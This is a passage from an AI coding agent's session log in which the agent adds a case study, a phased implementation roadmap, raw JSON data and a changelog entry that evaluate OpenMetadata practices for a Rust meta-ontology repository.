vocabulary | Map internal provenance fields | PROV-O |\n[2026-07-12T04:06:07.390Z] [INFO] +| Constraint exchange | Export selected rules later | SHACL |\n[2026-07-12T04:06:07.390Z] [INFO] +| HTTP API | Use existing roadmap selection | `axum` |\n[2026-07-12T04:06:07.390Z] [INFO] +| OpenAPI | Generate from endpoint/model types | `utoipa` |\n[2026-07-12T04:06:07.390Z] [INFO] +| Search | Linear baseline, then benchmark embedded option | `tantivy` |\n[2026-07-12T04:06:07.390Z] [INFO] +| Pipeline lineage | Interoperate only when pipeline entities exist | OpenLineage |\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Crates must be re-evaluated for maintenance, license, MSRV, WASM compatibility,\n[2026-07-12T04:06:07.390Z] [INFO] +and dependency footprint when their slice begins. Listing one is not approval to\n[2026-07-12T04:06:07.390Z] [INFO] +add it.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R8: control complexity\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** use decision gates:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- no database until persistence, concurrency, or corpus size requires it;\n[2026-07-12T04:06:07.390Z] [INFO] +- no search service until a benchmark fails an agreed latency target;\n[2026-07-12T04:06:07.390Z] [INFO] +- no scheduler until at least two recurring connectors exist;\n[2026-07-12T04:06:07.390Z] [INFO] +- no distributed components until independent scaling or availability is a\n[2026-07-12T04:06:07.390Z] [INFO] +  documented requirement;\n[2026-07-12T04:06:07.390Z] [INFO] +- no authorization engine until mutations cross a service boundary.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R9: verifiability\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** each implementation slice starts with fixtures and failing tests.\n[2026-07-12T04:06:07.390Z] [INFO] +All imports expose provenance and a dry-run report. Diagnostics have stable\n[2026-07-12T04:06:07.390Z] [INFO] +codes. Benchmarks, not analogy, trigger infrastructure.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### R10: single-PR execution\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +**Decision:** PR 6 contains the complete research deliverable and future plans.\n[2026-07-12T04:06:07.390Z] [INFO] +The product slices remain separately reviewable future work because implementing\n[2026-07-12T04:06:07.390Z] [INFO] +all of OpenMetadata's capabilities would violate R8 and the issue asks for\n[2026-07-12T04:06:07.390Z] [INFO] +solution proposals/plans, not a platform rewrite.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Prioritized implementation roadmap\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 0: accept this architecture record\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Deliverables:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- this case study and source inventory;\n[2026-07-12T04:06:07.390Z] [INFO] +- explicit decisions and deferrals;\n[2026-07-12T04:06:07.390Z] [INFO] +- tracked follow-up issues for approved phases.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: documentation links pass; local CI passes; reviewers can trace each\n[2026-07-12T04:06:07.390Z] [INFO] +requirement to a delivered artifact.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 1: versioned identity and validation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: none.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Add failing fixtures for duplicate IDs, dangling edges, invalid relation\n[2026-07-12T04:06:07.390Z] [INFO] +   domain/range, ambiguous aliases, and unsupported schema versions.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Introduce `ConceptId`, dataset `schema_version`, lifecycle state, and source\n[2026-07-12T04:06:07.390Z] [INFO] +   location without changing CLI display behavior.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Add layered validators and stable diagnostic codes.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Add `validate --format human|json` and golden reports.\n[2026-07-12T04:06:07.390Z] [INFO] +5. Provide a migration for current lino fixtures.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance:\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- all current data migrates without semantic loss;\n[2026-07-12T04:06:07.390Z] [INFO] +- invalid fixtures fail at the intended validation layer;\n[2026-07-12T04:06:07.390Z] [INFO] +- a rename preserves ID-based references;\n[2026-07-12T04:06:07.390Z] [INFO] +- CLI output remains backward compatible unless explicitly versioned.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 2: provenance and deterministic changes\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: Phase 1.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Model source URI/document, agent, time, review state, license note, and\n[2026-07-12T04:06:07.390Z] [INFO] +   content fingerprint.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Test create/update/unchanged/deprecate decisions before implementation.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Add dry-run diff and newline-delimited JSON change export.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Ensure identical imports are idempotent and deterministic.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: importing the same fixture twice produces zero updates on the\n[2026-07-12T04:06:07.390Z] [INFO] +second run; every changed assertion points to source evidence.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 3: one connector contract\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: Phases 1-2.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Define typed source configuration, capability declaration, checkpoint, raw\n[2026-07-12T04:06:07.390Z] [INFO] +   record, normalized candidate, and structured error contracts.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Build one fixture-backed connector end to end.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Test partial failures, secret redaction, retry classification, dry run, and\n[2026-07-12T04:06:07.390Z] [INFO] +   resume behavior.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Document how a second connector would be added without core-model changes.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: two unchanged runs are idempotent; invalid records are quarantined\n[2026-07-12T04:06:07.390Z] [INFO] +with evidence; no source-specific field enters the core model without a general\n[2026-07-12T04:06:07.390Z] [INFO] +domain reason.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 4: interchange\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: Phase 1; provenance fields from Phase 2 recommended.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Generate or maintain JSON Schema for the stable public model.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Add JSON import/export round-trip fixtures.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Map a deliberately small RDF/OWL/PROV-O subset and publish loss reports.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Evaluate SHACL export for constraints; do not claim lossless round trips\n[2026-07-12T04:06:07.390Z] [INFO] +   until tests prove them.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: schema validation runs in CI; JSON round trips preserve IDs and\n[2026-07-12T04:06:07.390Z] [INFO] +relationships; semantic exports declare unsupported/lossy fields.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 5: service API (existing roadmap M3)\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: stable Phases 1-4 contracts.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Specify OpenAPI and error/pagination/concurrency conventions first.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Implement read-only resources in `axum` over the library.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Add mutation/import endpoints only with authentication, authorization,\n[2026-07-12T04:06:07.390Z] [INFO] +   limits, audit changes, and threat tests.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Add health/readiness, structured logs, metrics, backup, and migration docs.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: generated client contract tests pass; malformed/expensive requests\n[2026-07-12T04:06:07.390Z] [INFO] +are bounded; library, CLI, and API return semantically consistent entities.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 6: search and UI (existing roadmap M4)\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: representative corpus and measured UX needs.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Specify query semantics and benchmark linear search.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Add a `SearchIndex` abstraction only if needed.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Evaluate Tantivy if the baseline misses the target.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Build UI against the public API/model, including provenance and validation\n[2026-07-12T04:06:07.390Z] [INFO] +   state rather than hiding them.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: a recorded benchmark justifies any new index; search relevance has\n[2026-07-12T04:06:07.390Z] [INFO] +golden queries; the UI has browser tests and accessibility checks.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Phase 7: governance enforcement and operations\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Dependencies: mutating service and real multi-user requirements.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +1. Turn owner, lifecycle, classification, and policy references into evaluated\n[2026-07-12T04:06:07.390Z] [INFO] +   actor/resource/operation rules.\n[2026-07-12T04:06:07.390Z] [INFO] +2. Add audit retention and policy decision tests.\n[2026-07-12T04:06:07.390Z] [INFO] +3. Add connector scheduling only when recurring jobs require it.\n[2026-07-12T04:06:07.390Z] [INFO] +4. Document upgrades, restore drills, incident response, and supported versions.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Acceptance: deny/allow tests cover every mutation class; restore drills recover\n[2026-07-12T04:06:07.390Z] [INFO] +data and history; operational objectives are explicit.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Cross-cutting test strategy\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- Unit tests: IDs, normalization, fingerprints, rules, diagnostic codes.\n[2026-07-12T04:06:07.390Z] [INFO] +- Property tests: parser/serializer round trips and arbitrary graph safety.\n[2026-07-12T04:06:07.390Z] [INFO] +- Golden fixtures: version migrations, import reports, API schemas.\n[2026-07-12T04:06:07.390Z] [INFO] +- Integration tests: source-to-normalized-to-validated-to-change pipeline.\n[2026-07-12T04:06:07.390Z] [INFO] +- Compatibility tests: old lino data and public CLI behavior.\n[2026-07-12T04:06:07.390Z] [INFO] +- Security tests: payload limits, traversal bounds, secret redaction, policy.\n[2026-07-12T04:06:07.390Z] [INFO] +- Benchmarks: loader, validation, traversal, and search before optimization.\n[2026-07-12T04:06:07.390Z] [INFO] +- WASM tests: dependencies and public types compile for the M4 target.\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +## Final recommendation\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +Approve Phases 1 and 2 as the first product follow-up. They create the stable\n[2026-07-12T04:06:07.390Z] [INFO] +identity, validation, and evidence foundation required by every later practice.\n[2026-07-12T04:06:07.390Z] [INFO] +Do not begin with connectors, HTTP, search, or deployment infrastructure: doing\n[2026-07-12T04:06:07.390Z] [INFO] +so would freeze weak contracts behind expensive boundaries.\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:06:07.390Z] [INFO] +{\n[2026-07-12T04:06:07.390Z] [INFO] +  \"observed_at\": \"2026-07-12\",\n[2026-07-12T04:06:07.390Z] [INFO] +  \"url\": \"https://github.com/link-foundation/meta-ontology/issues/5\",\n[2026-07-12T04:06:07.390Z] [INFO] +  \"number\": 5,\n[2026-07-12T04:06:07.390Z] [INFO] +  \"state\": \"OPEN\",\n[2026-07-12T04:06:07.390Z] [INFO] +  \"title\": \"We should use best practices from https://github.com/open-metadata/OpenMetadata\",\n[2026-07-12T04:06:07.390Z] [INFO] +  \"labels\": [\"documentation\", \"enhancement\"],\n[2026-07-12T04:06:07.390Z] [INFO] +  \"comment_count\": 0,\n[2026-07-12T04:06:07.390Z] [INFO] +  \"requirements_from_body\": [\n[2026-07-12T04:06:07.390Z] [INFO] +    \"Collect issue-related data under docs/case-studies/issue-{id}.\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"Perform deep case study analysis and search online for additional facts and data.\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"List every requirement from the issue.\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"Propose solutions and solution plans for every requirement.\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"Check existing components and libraries that solve similar problems or can help.\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"Plan and execute the complete deliverable in one pull request.\"\n[2026-07-12T04:06:07.390Z] [INFO] +  ]\n[2026-07-12T04:06:07.390Z] [INFO] +}\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:06:07.390Z] [INFO] +{\n[2026-07-12T04:06:07.390Z] [INFO] +  \"observed_at\": \"2026-07-12\",\n[2026-07-12T04:06:07.390Z] [INFO] +  \"meta_ontology\": {\n[2026-07-12T04:06:07.390Z] [INFO] +    \"repository\": \"link-foundation/meta-ontology\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"default_branch\": \"main\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"default_branch_commit\": \"04e732e\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"prepared_branch\": \"issue-5-e2602184e2c5\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"pull_request\": 6,\n[2026-07-12T04:06:07.390Z] [INFO] +    \"pull_request_state_at_collection\": \"OPEN_DRAFT\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"issue_comments\": 0,\n[2026-07-12T04:06:07.390Z] [INFO] +    \"pull_request_conversation_comments\": 0,\n[2026-07-12T04:06:07.390Z] [INFO] +    \"pull_request_inline_comments\": 0,\n[2026-07-12T04:06:07.390Z] [INFO] +    \"pull_request_reviews\": 0\n[2026-07-12T04:06:07.390Z] [INFO] +  },\n[2026-07-12T04:06:07.390Z] [INFO] +  \"openmetadata\": {\n[2026-07-12T04:06:07.390Z] [INFO] +    \"repository\": \"open-metadata/OpenMetadata\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"default_branch\": \"main\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"license_spdx\": \"Apache-2.0\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"latest_github_release\": \"1.13.1-release\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"latest_release_published_at\": \"2026-06-27T11:35:50Z\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"relevant_top_level_areas\": [\n[2026-07-12T04:06:07.390Z] [INFO] +      \"openmetadata-spec\",\n[2026-07-12T04:06:07.390Z] [INFO] +      \"openmetadata-service\",\n[2026-07-12T04:06:07.390Z] [INFO] +      \"ingestion\",\n[2026-07-12T04:06:07.390Z] [INFO] +      \"openmetadata-ui\",\n[2026-07-12T04:06:07.390Z] [INFO] +      \"openmetadata-clients\",\n[2026-07-12T04:06:07.390Z] [INFO] +      \"openmetadata-dist\",\n[2026-07-12T04:06:07.390Z] [INFO] +      \"docker\"\n[2026-07-12T04:06:07.390Z] [INFO] +    ]\n[2026-07-12T04:06:07.390Z] [INFO] +  },\n[2026-07-12T04:06:07.390Z] [INFO] +  \"notes\": [\n[2026-07-12T04:06:07.390Z] [INFO] +    \"Counts and latest-release facts are time-sensitive and must be rechecked before implementation.\",\n[2026-07-12T04:06:07.390Z] [INFO] +    \"No upstream source files are copied into this repository; primary links and derived observations are preserved instead.\"\n[2026-07-12T04:06:07.390Z] [INFO] +  ]\n[2026-07-12T04:06:07.390Z] [INFO] +}\n[2026-07-12T04:06:07.390Z] [INFO] *** Add File: /tmp/gh-issue-solver-1783828904396/changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:06:07.390Z] [INFO] +---\n[2026-07-12T04:06:07.390Z] [INFO] +bump: patch\n[2026-07-12T04:06:07.390Z] [INFO] +---\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +### Added\n[2026-07-12T04:06:07.390Z] [INFO] +\n[2026-07-12T04:06:07.390Z] [INFO] +- Added an issue 5 case study that evaluates transferable OpenMetadata practices,\n[2026-07-12T04:06:07.390Z] [INFO] +  preserves research observations, inventories reusable standards and Rust\n[2026-07-12T04:06:07.390Z] [INFO] +  components, and provides a phased implementation plan.\n[2026-07-12T04:06:07.390Z] [INFO] *** End Patch duration_ms=78 success=true output=Exit code: 0\n[2026-07-12T04:06:07.390Z] [INFO] Wall time: 0.1 seconds\n[2026-07-12T04:06:07.390Z] [INFO] Output:\n[2026-07-12T04:06:07.390Z] [INFO] Success. Updated the following files:\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/README.md\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/source-inventory.md\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/openmetadata-analysis.md\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/requirements-and-solutions.md\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/issue-5.json\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/raw-data/research-observations.json\n[2026-07-12T04:06:07.390Z] [INFO] A /tmp/gh-issue-solver-1783828904396/changelog.d/20260712_openmetadata_case_study.md\n[2026-07-12T04:06:07.390Z] [INFO] D /tmp/gh-issue-solver-1783828904396/.gitkeep\n[2026-07-12T04:06:07.390Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:06:07.323Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:07.390Z] [INFO] 2026-07-12T04:06:07.323557Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=apply_patch call_id=exec-2a0e4d3e-8542-4565-ab65-587fc39f1403 duration_ms=78 success=true arguments_length=38861 output_length=734 output_line_count=12 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:06:07.323Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:06:07.390Z] [INFO] \n[2026-07-12T04:06:07.473Z] [INFO] 2026-07-12T04:06:07.388150Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:06:07.473Z] [INFO] \n[2026-07-12T04:06:07.482Z] [INFO] 2026-07-12T04:06:07.411548Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_DEIkknavGwraQTaK8nJaBIzd arguments=const patch = \"*** Begin Patch\\n*** Delete File: /tmp/gh-issue-solver-1783828904396/.gitkeep\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/README.md\\n+# Issue 5 Case Study: Applying OpenMetadata Practices\\n+\\n+## Summary\\n+\\n+Issue: [link-foundation/meta-ontology#5](https://github.com/link-foundation/meta-ontology/issues/5)\\n+\\n+OpenMetadata is a mature metadata platform, while this repository is a small,\\n+Links Notation-based ontology. The useful lesson is therefore not to copy its\\n+Java/Python/TypeScript service stack. It is to adopt its boundaries: a canonical\\n+schema, stable entity identity, explicit relationships, versioned changes,\\n+connector isolation, API-first access, governance metadata, and automated\\n+quality checks.\\n+\\n+The recommended sequence is deliberately incremental. Strengthen the current\\n+in-process Rust model and lino data first; add interchange and ingestion\\n+contracts next; add persistence, search, HTTP, and a UI only when their roadmap\\n+milestones and measured usage justify the operational cost.\\n+\\n+Research was performed on 2026-07-12. OpenMetadata is fast-moving, so facts\\n+that can change are pinned to the observation date and links to primary sources.\\n+\\n+## Collected Data\\n+\\n+- [`source-inventory.md`](source-inventory.md) records the issue, PR, repository,\\n+  release, documentation, and source-code evidence consulted.\\n+- [`openmetadata-analysis.md`](openmetadata-analysis.md) describes transferable\\n+  practices, mismatches, risks, and existing components that can help.\\n+- [`requirements-and-solutions.md`](requirements-and-solutions.md) enumerates\\n+  every explicit and implied requirement and gives a solution and staged plan.\\n+- [`raw-data/issue-5.json`](raw-data/issue-5.json) preserves the issue snapshot.\\n+- [`raw-data/research-observations.json`](raw-data/research-observations.json)\\n+  preserves time-sensitive repository and PR observations in a compact,\\n+  reviewable form.\\n+\\n+No issue comments, PR conversation comments, inline review comments, or PR\\n+reviews existed when collected.\\n+\\n+## Findings\\n+\\n+### Practices to adopt now\\n+\\n+1. **Schema-first domain model.** Validate every persisted concept, definition,\\n+   mapping, language exponent, and relationship against a versioned contract.\\n+2. **Stable identity separate from display names.** Renames must not break\\n+   mappings, definitions, lineage, or future external references.\\n+3. **Typed graph edges.** Replace implicit string conventions with a small,\\n+   documented relation vocabulary and validate edge endpoints.\\n+4. **Provenance and change history.** Record source, author/agent, timestamp,\\n+   schema version, and change reason. Emit a deterministic change record when\\n+   loading or updating data.\\n+5. **Layered validation.** Separate parse validity, schema validity, graph\\n+   integrity, semantic quality, and repository word coverage so failures are\\n+   actionable.\\n+6. **Connector boundary.** Future importers should produce the same normalized\\n+   intermediate model; source-specific code must not leak into the core graph.\\n+7. **Contract-driven interfaces.** The library remains authoritative. CLI,\\n+   future HTTP, WASM, and importers consume the same service contracts.\\n+8. **Governance primitives.** Ownership, lifecycle state, classifications, and\\n+   policy references should be ordinary metadata, not UI-only annotations.\\n+\\n+### Practices to defer\\n+\\n+- A separate database and search index until the corpus or query latency needs it.\\n+- A workflow scheduler until multiple repeatable external ingestion jobs exist.\\n+- Microservices, event buses, and Kubernetes until deployment requirements demand\\n+  independent scaling or availability.\\n+- A broad connector catalog before one end-to-end connector contract is proven.\\n+- Enterprise RBAC before the HTTP service exists; design authorization fields now,\\n+  enforce them at the service boundary later.\\n+\\n+## Target Architecture\\n+\\n+```text\\n+source files / future connectors\\n+              |\\n+              v\\n+      normalized import records\\n+              |\\n+              v\\n+ parse -> schema -> graph -> semantic validation\\n+              |\\n+              v\\n+     versioned ontology service\\n+       /          |          \\\\\\n+     CLI       future API    WASM/UI\\n+                  |\\n+          optional persistence/search\\n+```\\n+\\n+The pipeline is the important boundary. Each consumer sees one validated model;\\n+each importer produces one normalized representation.\\n+\\n+## Decision Matrix\\n+\\n+| OpenMetadata practice | Fit | Decision |\\n+| --- | --- | --- |\\n+| Canonical schema and generated/typed models | High | Adopt incrementally |\\n+| Stable IDs, names, ownership, tags, versions | High | Add to domain model |\\n+| Typed relationships and lineage | High | Add a relation vocabulary |\\n+| Source-to-sink connector topology | High | Adapt as a small Rust trait pipeline |\\n+| REST resources and JSON Patch | Medium | Design contracts now; implement at M3 |\\n+| Change events and webhooks | Medium | Start with deterministic local events |\\n+| Data quality tests and observability | Medium | Adapt to ontology integrity rules |\\n+| Search index | Low today | Keep an interface; defer infrastructure |\\n+| Airflow-style workflow scheduling | Low today | Defer |\\n+| Full production deployment stack | Low today | Do not copy |\\n+\\n+## Completion Criteria\\n+\\n+This case study satisfies issue 5 when it:\\n+\\n+- preserves issue- and PR-related observations under this directory;\\n+- uses current primary online sources and distinguishes observations from\\n+  recommendations;\\n+- enumerates all issue requirements;\\n+- evaluates OpenMetadata practices against this repository rather than merely\\n+  summarizing OpenMetadata;\\n+- identifies reusable standards, crates, and libraries;\\n+- supplies a prioritized, testable implementation plan for every requirement.\\n+\\n+The analysis and plan meet those criteria. Product changes are intentionally\\n+proposed as future slices rather than bundled into this research PR.\\n*** Add File: /tmp/gh-issue-solver-1783828904396/docs/case-studies/issue-5/source-inventory.md\\n+# Source Inventory and Research Method\\n+\\n+## Method\\n+\\n+The investigation used the GitHub API/CLI for repository state and official\\n+OpenMetadata documentation and source repositories for technical claims.\\n+Marketing claims and time-sensitive counts are treated as observations, not as\\n+architecture requirements. Access date for every online source: 2026-07-12.\\n+\\n+## Local issue and pull request\\n+\\n+| Evidence | Observation |\\n+| --- | --- |\\n+| [Issue 5](https://github.com/link-foundation/meta-ontology/issues/5) | Open; asks for data collection, deep online research, complete requirements, solution options, plans, and component/library evaluation in one PR |\\n+| [PR 6](https://github.com/link-foundation/meta-ontology/pull/6) | Draft placeholder on branch `issue-5-e2602184e2c5` at collection time |\\n+| Issue comments API | No comments |\\n+| PR review comments API | No inline comments |\\n+| PR conversation comments API | No comments |\\n+| PR reviews API | No reviews |\\n+| [Issue 1 case study](../issue-1/README.md) | Establishes this repository's requirements/research/plan precedent |\\n+| [Issue 3 case study](../issue-3/README.md) | Establishes the collected-evidence and explicit-root-cause precedent |\\n+\\n+## OpenMetadata repository snapshot\\n+\\n+The [OpenMetadata repository](https://github.com/open-metadata/OpenMetadata)\\n+reported Apache-2.0 licensing, `main` as its default branch, and a multi-language\\n+codebase. The latest GitHub release observed was\\n+[`1.13.1-release`](https://github.com/open-metadata/OpenMetadata/releases/tag/1.13.1-release),\\n+published 2026-06-27. Counts such as stars, forks, connectors, schemas, or open\\n+issues are intentionally not used to choose this repository's architecture.\\n+\\n+Relevant upstream areas:\\n+\\n+- [`openmetadata-spec`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-spec):\\n+  canonical JSON Schemas and generated model inputs.\\n+- [`openmetadata-service`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-service):\\n+  server, repositories, APIs, authorization, and event handling.\\n+- [`ingestion`](https://github.com/open-metadata/OpenMetadata/tree/main/ingestion):\\n+  connector and workflow framework.\\n+- [`openmetadata-ui`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-ui):\\n+  web application kept separate from the metadata service.\\n+- [`openmetadata-clients`](https://github.com/open-metadata/OpenMetadata/tree/main/openmetadata-clients):\\n+  generated/client-facing access layers.\\n+- [Contribution guide](https://docs.open-metadata.org/v1.12.x/developers/contribute):\\n+  issue-based contribution and local build/test workflow.\\n+\\n+## Primary technical documentation\\n+\\n+| Topic | Source | Evidence used |\\n+| --- | --- | --- |\\n+| Metadata standard | [Metadata Standard](https://docs.open-metadata.org/v1.11.x/api-reference/main-concepts/metadata-standard) | Canonical, language-neutral schemas drive generated models and APIs |\\n+| REST conventions | [APIs](https://docs.open-metadata.org/v1.12.x/api-reference/main-concepts/metadata-standard/apis) | Schema-first resources, versioned `/api/v1` namespace, consistent collection/instance URIs |\\n+| Connector architecture | [Metadata ingestion deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/metadata-ingestion) | Source-to-sink pipeline, topology, result/error handling, fingerprint-based incremental ingestion |\\n+| Ingestion capabilities | [Ingestion overview](https://docs.open-metadata.org/v1.12.x/connectors/ingestion) | Metadata, usage, lineage, profiling, quality, and versioning are distinct workflows |\\n+| Lineage | [Lineage deep dive](https://docs.open-metadata.org/v1.12.x/developers/contribute/codebase-deep-dives/lineage-ingestion) | Relationships are extracted, resolved, and published as graph data |\\n+| Connector schemas | [Define the JSON Schema](https://docs.open-metadata.org/latest/developers/contribute/developing-a-new-connector/define-json-schema) | One connection schema generates consistent Java, Python, and TypeScript types |\\n+| Governance | [Data Governance](https://docs.open-metadata.org/v1.12.x/how-to-guides/data-governance) | Glossaries, classifications, ownership, and policies are first-class concepts |\\n+| Glossary semantics | 